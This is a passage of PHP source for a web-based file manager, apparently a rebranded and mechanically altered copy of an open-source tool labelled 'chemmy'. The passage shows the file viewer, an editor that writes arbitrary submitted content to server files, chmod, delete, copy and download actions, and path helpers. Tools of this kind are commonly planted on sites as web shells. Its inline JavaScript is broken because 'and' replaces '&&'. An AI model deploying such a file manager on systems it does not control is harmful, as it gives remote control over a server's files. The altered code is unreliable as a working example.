                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?>
                        </a></b> &nbsp;
                    <b class="ms-2"><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&env=ace"
                            class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?>
                        </a></b> &nbsp;
                <?php } ?>
                <b class="ms-2"><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b>
            </div>
            <?php
            if($is_onlineViewer) {
                if($online_viewer == 'google') {
                    echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                } else if($online_viewer == 'microsoft') {
                    echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fanco($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>';
                }
            } elseif ($is_zip) {
                // ZIP content
                if ($filenames !== false) {
                    echo '<code class="maxheight">';
                    foreach ($filenames as $fn) {
                        if ($fn['folder']) {
                            echo '<b>' . fanco($fn['name']) . '</b><br>';
                        } else {
                            echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>';
                        }
                    }
                    echo '</code>';
                } else {
                    echo '<p>'.lng('Error while fetching archive info').'</p>';
                }
            } elseif ($is_image) {
                // Image content
                if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))) {
                    echo '<p><input type="checkbox" id="preview-img-zoomCheck"><label for="preview-img-zoomCheck"><img src="' . fanco($file_url) . '" alt="image" class="preview-img"></label></p>';
                }
            } elseif ($is_audio) {
                // Audio content
                echo '<p><audio src="' . fanco($file_url) . '" controls preload="metadata"></audio></p>';
            } elseif ($is_video) {
                // Video content
                echo '<div class="preview-video"><video src="' . fanco($file_url) . '" width="640" height="360" controls preload="metadata"></video></div>';
            } elseif ($is_text) {
                if (FM_USE_HIGHLIGHTJS) {
                    // highlight
                    $hljs_classes = array(
                        'shtml' => 'xml',
                        'htaccess' => 'apache',
                        'phtml' => 'php',
                        'lock' => 'json',
                        'svg' => 'xml',
                    );
                    $hljs_class = isset($hljs_classes[$ext]) ? 'lang-' . $hljs_classes[$ext] : 'lang-' . $ext;
                    if (empty($ext) || in_array(strtolower($file), fm_get_text_names()) || preg_match('#\.min\.(css|js)$#i', $file)) {
                        $hljs_class = 'nohighlight';
                    }
                    $content = '<pre class="with-hljs"><code class="' . $hljs_class . '">' . fanco($content) . '</code></pre>';
                } elseif (in_array($ext, array('php', 'php4', 'php5', 'phtml', 'phps'))) {
                    // php highlight
                    $content = highlight_string($content, true);
                } else {
                    $content = '<pre>' . fanco($content) . '</pre>';
                }
                echo $content;
            }
            ?>
        </div>
    </div>
    <?php
        fm_show_footer();
    exit;
}

// file editor
if (isset($_GET['edit']) and !FM_READONLY) {
    $file = $_GET['edit'];
    $file = fm_clean_path($file, false);
    $file = str_replace('/', '', $file);
    if ($file == '' || !is_file($path . '/' . $file) || !fm_is_exclude_items($file)) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }
    $editFile = ' : <i><b>'. $file. '</b></i>';
    header('X-XSS-Protection:0');
    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file);
    $file_path = $path . '/' . $file;

    // normal editer
    $isNormalEditor = true;
    if (isset($_GET['env'])) {
        if ($_GET['env'] == "ace") {
            $isNormalEditor = false;
        }
    }

    // Save File
    if (isset($_POST['savedata'])) {
        $writedata = $_POST['savedata'];
        $fd = fopen($file_path, "w");
        @fwrite($fd, $writedata);
        fclose($fd);
        fm_set_msg(lng('File Saved Successfully'));
    }

    $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION));
    $mime_type = fm_get_mime_type($file_path);
    $filesize = filesize($file_path);
    $is_text = false;
    $content = ''; // for text

    if (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) {
        $is_text = true;
        $content = file_get_contents($file_path);
    }

    ?>
    <div class="path">
        <div class="row">
            <div class="col-xs-12 col-sm-5 col-lg-6 pt-1">
                <div class="btn-toolbar" role="toolbar">
                    <?php if (!$isNormalEditor) { ?>
                        <div class="btn-group js-ace-toolbar">
                            <button data-cmd="none" data-option="fullscreen" class="btn btn-sm btn-outline-secondary" id="js-ace-fullscreen" title="<?php echo lng('Fullscreen') ?>"><i class="fa fa-expand" title="<?php echo lng('Fullscreen') ?>"></i></button>
                            <button data-cmd="find" class="btn btn-sm btn-outline-secondary" id="js-ace-search" title="<?php echo lng('Search') ?>"><i class="fa fa-search" title="<?php echo lng('Search') ?>"></i></button>
                            <button data-cmd="undo" class="btn btn-sm btn-outline-secondary" id="js-ace-undo" title="<?php echo lng('Undo') ?>"><i class="fa fa-undo" title="<?php echo lng('Undo') ?>"></i></button>
                            <button data-cmd="redo" class="btn btn-sm btn-outline-secondary" id="js-ace-redo" title="<?php echo lng('Redo') ?>"><i class="fa fa-repeat" title="<?php echo lng('Redo') ?>"></i></button>
                            <button data-cmd="none" data-option="wrap" class="btn btn-sm btn-outline-secondary" id="js-ace-wordWrap" title="<?php echo lng('Word Wrap') ?>"><i class="fa fa-text-width" title="<?php echo lng('Word Wrap') ?>"></i></button>
                            <select id="js-ace-mode" data-type="mode" title="<?php echo lng('Select Document Type') ?>" class="btn-outline-secondary border-start-0 d-none d-md-block"><option>-- <?php echo lng('Select Mode') ?> --</option></select>
                            <select id="js-ace-theme" data-type="theme" title="<?php echo lng('Select Theme') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Theme') ?> --</option></select>
                            <select id="js-ace-fontSize" data-type="fontSize" title="<?php echo lng('Select Font Size') ?>" class="btn-outline-secondary border-start-0 d-none d-lg-block"><option>-- <?php echo lng('Select Font Size') ?> --</option></select>
                        </div>
                    <?php } ?>
                </div>
            </div>
            <div class="edit-file-actions col-xs-12 col-sm-7 col-lg-6 text-end pt-1">
                <a title="<?php echo lng('Back') ?>" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;view=<?php echo urlencode($file) ?>"><i class="fa fa-reply-all"></i> <?php echo lng('Back') ?></a>
                <a title="<?php echo lng('BackUp') ?>" class="btn btn-sm btn-outline-primary" href="javascript:void(0);" onclick="backup('<?php echo urlencode(trim(FM_PATH)) ?>','<?php echo urlencode($file) ?>')"><i class="fa fa-database"></i> <?php echo lng('BackUp') ?></a>
                <?php if ($is_text) { ?>
                    <?php if ($isNormalEditor) { ?>
                        <a title="Advanced" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>&amp;env=ace"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'nrl')"><i class="fa fa-floppy-o"></i> Save
                        </button>
                    <?php } else { ?>
                        <a title="Plain Editor" class="btn btn-sm btn-outline-primary" href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&amp;edit=<?php echo urlencode($file) ?>"><i class="fa fa-text-height"></i> <?php echo lng('NormalEditor') ?></a>
                        <button type="button" class="btn btn-sm btn-success" name="Save" data-url="<?php echo fanco($file_url) ?>" onclick="edit_save(this,'ace')"><i class="fa fa-floppy-o"></i> <?php echo lng('Save') ?>
                        </button>
                    <?php } ?>
                <?php } ?>
            </div>
        </div>
        <?php
        if ($is_text and $isNormalEditor) {
            echo '<textarea class="mt-2" id="normal-editor" rows="33" cols="120" style="width: 99.5%;">' . htmlspecialchars($content) . '</textarea>';
            echo '<script>document.addEventListener("keydown", function(e) {if ((window.navigator.platform.match("Mac") ? e.metaKey : e.ctrlKey)  and e.keyCode == 83) { e.preventDefault();edit_save(this,"nrl");}}, false);</script>';
        } elseif ($is_text) {
            echo '<div id="editor" contenteditable="true">' . htmlspecialchars($content) . '</div>';
        } else {
            fm_set_msg(lng('FILE EXTENSION HAS NOT SUPPORTED'), 'error');
        }
        ?>
    </div>
    <?php
    fm_show_footer();
    exit;
}

if (isset($_GET['chmod']) and !FM_READONLY and !FM_IS_WIN) {
    $file = $_GET['chmod'];
    $file = fm_clean_path($file);
    $file = str_replace('/', '', $file);
    if ($file == '' || (!is_file($path . '/' . $file) and !is_dir($path . '/' . $file))) {
        fm_set_msg(lng('File not found'), 'error');
        $FM_PATH=FM_PATH; fm_redirect(FM_SELF_URL . '?p=' . urlencode($FM_PATH));
    }

    fm_show_header(); // HEADER
    fm_show_nav_path(FM_PATH); // current path

    $file_url = FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file;
    $file_path = $path . '/' . $file;

    $mode = fileperms($path . '/' . $file);
    ?>
    <div class="path">
        <div class="card mb-2 <?php echo fm_get_theme(); ?>">
            <h6 class="card-header">
                <?php echo lng('ChangePermissions') ?>
            </h6>
            <div class="card-body">
                <p class="card-text">
                    <?php $display_path = fm_get_display_path($file_path); ?>
                    <?php echo $display_path['label']; ?>: <?php echo $display_path['path']; ?><br>
                </p>
                <form action="" method="post">
                    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
                    <input type="hidden" name="chmod" value="<?php echo fanco($file) ?>">

                    <table class="table compact-table <?php echo fm_get_theme(); ?>">
                        <tr>
                            <td></td>
                            <td><b><?php echo lng('Owner') ?></b></td>
                            <td><b><?php echo lng('Group') ?></b></td>
                            <td><b><?php echo lng('Other') ?></b></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Read') ?></b></td>
                            <td><label><input type="checkbox" name="ur" value="1"<?php echo ($mode & 00400) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gr" value="1"<?php echo ($mode & 00040) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="or" value="1"<?php echo ($mode & 00004) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Write') ?></b></td>
                            <td><label><input type="checkbox" name="uw" value="1"<?php echo ($mode & 00200) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gw" value="1"<?php echo ($mode & 00020) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ow" value="1"<?php echo ($mode & 00002) ? ' checked' : '' ?>></label></td>
                        </tr>
                        <tr>
                            <td style="text-align: right"><b><?php echo lng('Execute') ?></b></td>
                            <td><label><input type="checkbox" name="ux" value="1"<?php echo ($mode & 00100) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="gx" value="1"<?php echo ($mode & 00010) ? ' checked' : '' ?>></label></td>
                            <td><label><input type="checkbox" name="ox" value="1"<?php echo ($mode & 00001) ? ' checked' : '' ?>></label></td>
                        </tr>
                    </table>

                    <p>
                       <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>"> 
                        <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b>&nbsp;
                        <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Change') ?></button>
                    </p>
                </form>
            </div>
        </div>
    </div>
    <?php
    fm_show_footer();
    exit;
}

fm_show_header(); // HEADER
fm_show_nav_path(FM_PATH); // current path

fm_show_message();

$num_files = count($files);
$num_folders = count($folders);
$all_files_size = 0;
$tableTheme = (FM_THEME == "dark") ? "text-white bg-dark table-dark" : "bg-white";
?>
<form action="" method="post" class="pt-3">
    <input type="hidden" name="p" value="<?php echo fanco(FM_PATH) ?>">
    <input type="hidden" name="group" value="1">
    <input type="hidden" name="token" value="<?php echo $_SESSION['token']; ?>">
    <div class="table-responsive">
        <table class="table table-bordered table-hover table-sm <?php echo $tableTheme; ?>" id="main-table">
            <thead class="thead-white">
            <tr>
                <?php if (!FM_READONLY): ?>
                    <th style="width:3%" class="custom-checkbox-header">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="js-select-all-items" onclick="checkbox_toggle()">
                            <label class="custom-control-label" for="js-select-all-items"></label>
                        </div>
                    </th><?php endif; ?>
                <th><?php echo lng('Name') ?></th>
                <th><?php echo lng('Size') ?></th>
                <th><?php echo lng('Modified') ?></th>
                <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                    <th><?php echo lng('Perms') ?></th>
                    <th><?php echo lng('Owner') ?></th><?php endif; ?>
                <th><?php echo lng('Actions') ?></th>
            </tr>
            </thead>
            <?php
            if ($parent !== false) {
                ?>
                <tr><?php if (!FM_READONLY): ?>
                    <td class="nosort"></td><?php endif; ?>
                    <td class="border-0" data-sort><a href="?p=<?php echo urlencode($parent) ?>"><i class="fa fa-chevron-circle-left go-back"></i> ..</a></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0" data-order></td>
                    <td class="border-0"></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols) { ?>
                        <td class="border-0"></td>
                        <td class="border-0"></td>
                    <?php } ?>
                </tr>
                <?php
            }
            $uu = 3399;
            foreach ($folders as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'icon-link_folder' : 'fa fa-folder-o';
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = "";
                $filesize = lng('Folder');
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $uu ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $uu ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fm_convert_win(fanco($f)) ?>>
                        <div class="filename"><a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                            </a><?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?></div>
                    </td>
                    <td data-order="a-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT);?>">
                        <?php echo $filesize; ?>
                    </td>
                    <td data-order="a-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="Change Permissions" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo $owner['name'] . ':' . $group['name'] ?></td>
                    <?php endif; ?>
                    <td class="inline-actions"><?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete')?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, '1028','<?php echo lng('Delete').' '.lng('Folder'); ?>','<?php echo urlencode($f) ?>', this.href);"> <i class="fa fa-trash-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('Rename')?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o" aria-hidden="true"></i></a>
                            <a title="<?php echo lng('CopyTo')?>..." href="?p=&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o" aria-hidden="true"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink')?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f . '/') ?>" target="_blank"><i class="fa fa-link" aria-hidden="true"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ii++;
            }
            $ik = 6070;
            foreach ($files as $f) {
                $is_link = is_link($path . '/' . $f);
                $img = $is_link ? 'fa fa-file-text-o' : fm_get_file_icon_class($path . '/' . $f);
                $modif_raw = filemtime($path . '/' . $f);
                $modif = date(FM_DATETIME_FORMAT, $modif_raw);
                $date_sorting = strtotime(date("F d Y H:i:s.", $modif_raw));
                $filesize_raw = fm_get_size($path . '/' . $f);
                $filesize = fm_get_filesize($filesize_raw);
                $filelink = '?p=' . urlencode(FM_PATH) . '&amp;view=' . urlencode($f);
                $all_files_size += $filesize_raw;
                $perms = substr(decoct(fileperms($path . '/' . $f)), -4);
                if (function_exists('posix_getpwuid') and function_exists('posix_getgrgid')) {
                    $owner = posix_getpwuid(fileowner($path . '/' . $f));
                    $group = posix_getgrgid(filegroup($path . '/' . $f));
                    if ($owner === false) {
                        $owner = array('name' => '?');
                    }
                    if ($group === false) {
                        $group = array('name' => '?');
                    }
                } else {
                    $owner = array('name' => '?');
                    $group = array('name' => '?');
                }
                ?>
                <tr>
                    <?php if (!FM_READONLY): ?>
                        <td class="custom-checkbox-td">
                        <div class="custom-control custom-checkbox">
                            <input type="checkbox" class="custom-control-input" id="<?php echo $ik ?>" name="file[]" value="<?php echo fanco($f) ?>">
                            <label class="custom-control-label" for="<?php echo $ik ?>"></label>
                        </div>
                        </td><?php endif; ?>
                    <td data-sort=<?php echo fanco($f) ?>>
                        <div class="filename">
                        <?php
                           if (in_array(strtolower(pathinfo($f, PATHINFO_EXTENSION)), array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg', 'webp', 'avif'))): ?>
                                <?php $imagePreview = fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f); ?>
                                <a href="<?php echo $filelink ?>" data-preview-image="<?php echo $imagePreview ?>" title="<?php echo fanco($f) ?>">
                           <?php else: ?>
                                <a href="<?php echo $filelink ?>" title="<?php echo $f ?>">
                            <?php endif; ?>
                                    <i class="<?php echo $img ?>"></i> <?php echo fm_convert_win(fanco($f)) ?>
                                </a>
                                <?php echo($is_link ? ' &rarr; <i>' . readlink($path . '/' . $f) . '</i>' : '') ?>
                        </div>
                    </td>
                    <td data-order="b-<?php echo str_pad($filesize_raw, 18, "0", STR_PAD_LEFT); ?>"><span title="<?php printf('%s bytes', $filesize_raw) ?>">
                        <?php echo $filesize; ?>
                        </span></td>
                    <td data-order="b-<?php echo $date_sorting;?>"><?php echo $modif ?></td>
                    <?php if (!FM_IS_WIN and !$hide_Cols): ?>
                        <td><?php if (!FM_READONLY): ?><a title="<?php echo 'Change Permissions' ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;chmod=<?php echo urlencode($f) ?>"><?php echo $perms ?></a><?php else: ?><?php echo $perms ?><?php endif; ?>
                        </td>
                        <td><?php echo fanco($owner['name'] . ':' . $group['name']) ?></td>
                    <?php endif; ?>
                    <td class="inline-actions">
                        <?php if (!FM_READONLY): ?>
                            <a title="<?php echo lng('Delete') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;del=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1209, '<?php echo lng('Delete').' '.lng('File'); ?>','<?php echo urlencode($f); ?>', this.href);"> <i class="fa fa-trash-o"></i></a>
                            <a title="<?php echo lng('Rename') ?>" href="#" onclick="rename('<?php echo fanco(addslashes(FM_PATH)) ?>', '<?php echo fanco(addslashes($f)) ?>');return false;"><i class="fa fa-pencil-square-o"></i></a>
                            <a title="<?php echo lng('CopyTo') ?>..."
                               href="?p=<?php echo urlencode(FM_PATH) ?>&amp;copy=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>"><i class="fa fa-files-o"></i></a>
                        <?php endif; ?>
                        <a title="<?php echo lng('DirectLink') ?>" href="<?php echo fanco(FM_ROOT_URL . (FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $f) ?>" target="_blank"><i class="fa fa-link"></i></a>
                        <a title="<?php echo lng('Download') ?>" href="?p=<?php echo urlencode(FM_PATH) ?>&amp;dl=<?php echo urlencode($f) ?>" onclick="confirmDailog(event, 1211, '<?php echo lng('Download'); ?>','<?php echo urlencode($f); ?>', this.href);"><i class="fa fa-download"></i></a>
                    </td>
                </tr>
                <?php
                flush();
                $ik++;
            }

            if (empty($folders) and empty($files)) { ?>
                <tfoot>
                    <tr><?php if (!FM_READONLY): ?>
                            <td></td><?php endif; ?>
                        <td colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? '6' : '4' ?>"><em><?php echo lng('Folder is empty') ?></em></td>
                    </tr>
                </tfoot>
                <?php
            } else { ?>
                <tfoot>
                    <tr>
                        <td class="gray" colspan="<?php echo (!FM_IS_WIN and !$hide_Cols) ? (FM_READONLY ? '6' :'7') : (FM_READONLY ? '4' : '5') ?>">
                            <?php echo lng('FullSize').': <span class="badge text-bg-light border-radius-0">'.fm_get_filesize($all_files_size).'</span>' ?>
                            <?php echo lng('File').': <span class="badge text-bg-light border-radius-0">'.$num_files.'</span>' ?>
                            <?php echo lng('Folder').': <span class="badge text-bg-light border-radius-0">'.$num_folders.'</span>' ?>
                        </td>
                    </tr>
                </tfoot>
                <?php } ?>
        </table>
    </div>

    <div class="row">
        <?php if (!FM_READONLY): ?>
        <div class="col-xs-12 col-sm-9">
            <ul class="list-inline footer-action">
                <li class="list-inline-item"> <a href="#/select-all" class="btn btn-small btn-outline-primary btn-2" onclick="select_all();return false;"><i class="fa fa-check-square"></i> <?php echo lng('SelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/unselect-all" class="btn btn-small btn-outline-primary btn-2" onclick="unselect_all();return false;"><i class="fa fa-window-close"></i> <?php echo lng('UnSelectAll') ?> </a></li>
                <li class="list-inline-item"><a href="#/invert-all" class="btn btn-small btn-outline-primary btn-2" onclick="invert_all();return false;"><i class="fa fa-th-list"></i> <?php echo lng('InvertSelection') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="delete" id="a-delete" value="Delete" onclick="return confirm('<?php echo lng('Delete selected files and folders?'); ?>')">
                    <a href="javascript:document.getElementById('a-delete').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-trash"></i> <?php echo lng('Delete') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="zip" id="a-zip" value="zip" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-zip').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Zip') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="tar" id="a-tar" value="tar" onclick="return confirm('<?php echo lng('Create archive?'); ?>')">
                    <a href="javascript:document.getElementById('a-tar').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-file-archive-o"></i> <?php echo lng('Tar') ?> </a></li>
                <li class="list-inline-item"><input type="submit" class="hidden" name="copy" id="a-copy" value="Copy">
                    <a href="javascript:document.getElementById('a-copy').click();" class="btn btn-small btn-outline-primary btn-2"><i class="fa fa-files-o"></i> <?php echo lng('Copy') ?> </a></li>
            </ul>
        </div>
        <div class="col-3 d-none d-sm-block"><a href="." target="_blank" class="float-right text-muted">chemmy <?php echo VERSION; ?></a></div>
        <?php else: ?>
            <div class="col-12"><a href="." target="_blank" class="float-right text-muted">chemmy <?php echo VERSION; ?></a></div>
        <?php endif; ?>
    </div>
</form>

<?php
fm_show_footer();


function print_external($key) {
    global $external;

    if(!array_key_exists($key, $external)) {
        // throw new Exception('Key missing in external: ' . key);
        echo "<!-- EXTERNAL: MISSING KEY $key -->";
        return;
    }

    echo "$external[$key]";
}


function verifyToken($token) 
{
    if (hash_equals($_SESSION['token'], $token)) { 
        return true;
    }
    return false;
}

/**
 * Delete  file or folder (recursively)
 * @param string $path
 * @return bool
 */
function fm_rdelete($path)
{
    if (is_link($path)) {
        return unlink($path);
    } elseif (is_dir($path)) {
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rdelete($path . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return ($ok) ? rmdir($path) : false;
    } elseif (is_file($path)) {
        return unlink($path);
    }
    return false;
}


function fm_rchmod($path, $filemode, $dirmode)
{
    if (is_dir($path)) {
        if (!chmod($path, $dirmode)) {
            return false;
        }
        $objects = scandir($path);
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rchmod($path . '/' . $file, $filemode, $dirmode)) {
                        return false;
                    }
                }
            }
        }
        return true;
    } elseif (is_link($path)) {
        return true;
    } elseif (is_file($path)) {
        return chmod($path, $filemode);
    }
    return false;
}


function fm_is_valid_ext($filename)
{
    $allowed = (FM_FILE_EXTENSION) ? explode(',', FM_FILE_EXTENSION) : false;

    $ext = pathinfo($filename, PATHINFO_EXTENSION);
    $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true;

    return ($isFileAllowed) ? true : false;
}


function fm_rename($old, $new)
{
    $isFileAllowed = fm_is_valid_ext($new);

    if(!is_dir($old)) {
        if (!$isFileAllowed) return false;
    }

    return (!file_exists($new) and file_exists($old)) ? rename($old, $new) : null;
}


function fm_rcopy($path, $dest, $upd = true, $force = true)
{
    if (is_dir($path)) {
        if (!fm_mkdir($dest, $force)) {
            return false;
        }
        $objects = scandir($path);
        $ok = true;
        if (is_array($objects)) {
            foreach ($objects as $file) {
                if ($file != '.' and $file != '..') {
                    if (!fm_rcopy($path . '/' . $file, $dest . '/' . $file)) {
                        $ok = false;
                    }
                }
            }
        }
        return $ok;
    } elseif (is_file($path)) {
        return fm_copy($path, $dest, $upd);
    }
    return false;
}


function fm_mkdir($dir, $force)
{
    if (file_exists($dir)) {
        if (is_dir($dir)) {
            return $dir;
        } elseif (!$force) {
            return false;
        }
        unlink($dir);
    }
    return mkdir($dir, 0777, true);
}


function fm_copy($f1, $f2, $upd)
{
    $time1 = filemtime($f1);
    if (file_exists($f2)) {
        $time2 = filemtime($f2);
        if ($time2 >= $time1 and $upd) {
            return false;
        }
    }
    $ok = copy($f1, $f2);
    if ($ok) {
        touch($f2, $time1);
    }
    return $ok;
}


function fm_get_mime_type($file_path)
{
    if (function_exists('finfo_open')) {
        $finfo = finfo_open(FILEINFO_MIME_TYPE);
        $mime = finfo_file($finfo, $file_path);
        finfo_close($finfo);
        return $mime;
    } elseif (function_exists('mime_content_type')) {
        return mime_content_type($file_path);
    } elseif (!stristr(ini_get('disable_functions'), 'shell_exec')) {
        $file = escapeshellarg($file_path);
        $mime = shell_exec('file -bi ' . $file);
        return $mime;
    } else {
        return '--';
    }
}


function fm_redirect($url, $code = 302)
{
    header('Location: ' . $url, true, $code);
    exit;
}


function get_absolute_path($path) {
    $path = str_replace(array('/', '\\'), DIRECTORY_SEPARATOR, $path);
    $parts = array_filter(explode(DIRECTORY_SEPARATOR, $path), 'strlen');
    $absolutes = array();
    foreach ($parts as $part) {
        if ('.' == $part) continue;
        if ('..' == $part) {
            array_pop($absolutes);
        } else {
            $absolutes[] = $part;
        }
    }
    return implode(DIRECTORY_SEPARATOR, $absolutes);
}


function fm_clean_path($path, $trim = true)
{
    $path = $trim ? trim($path) : $path;
    $path = trim($path, '\\/');
    $path = str_replace(array('../', '..\\'), '', $path);
    $path =  get_absolute_path($path);
    if ($path == '..') {
        $path = '';
    }
    return str_replace('\\', '/', $path);
}


function fm_get_parent_path($path)
{
    $path = fm_clean_path($path);
    if ($path != '') {
        $array = explode('/', $path);
        if (count($array) > 1) {
            $array = array_slice($array, 0, -1);
            return implode('/', $array);
        }
        return '';
    }
    return false;
}

function fm_get_display_path($file_path)
{
    global $path_display_mode, $root_path, $root_url;
    switch ($path_display_mode) {
        case 'relative':
            return array(
                'label' => 'Path',
                'path' => fanco(fm_convert_win(str_replace($root_path, '', $file_path)))
            );
        case 'host':
            $relative_path = str_replace($root_path, '', $file_path);
            return array(
                'label' => 'Host Path',
                'path' => fanco(fm_convert_win('/' . $root_url . '/' . ltrim(str_replace('\\', '/', $relative_path), '/')))
            );
        case 'full':
        default:
            return array(
                'label' => 'Full Path',
                'path' => fanco(fm_convert_win($file_path))
            );
    }
}


function fm_is_exclude_items($file) {
    $ext = strtolower(pathinfo($file, PATHINFO_EXTENSION));
    if (isset($exclude_items) and sizeof($exclude_items)) {
        unset($exclude_items);
    }

    $exclude_items = FM_EXCLUDE_ITEMS;
    if (version_compare(PHP_VERSION, '7.0.0', '<')) {
        $exclude_items = unserialize($exclude_items);
    }
    if (!in_array($file, $exclude_items) and !in_array("*.$ext", $exclude_items)) {
        return true;
    }
    return false;
}


function fm_get_translations($tr) {
    try {
        $content = @file_get_contents('translation.json');
        if($content !== FALSE) {
            $lng = json_decode($content, TRUE);
            global $lang_list;
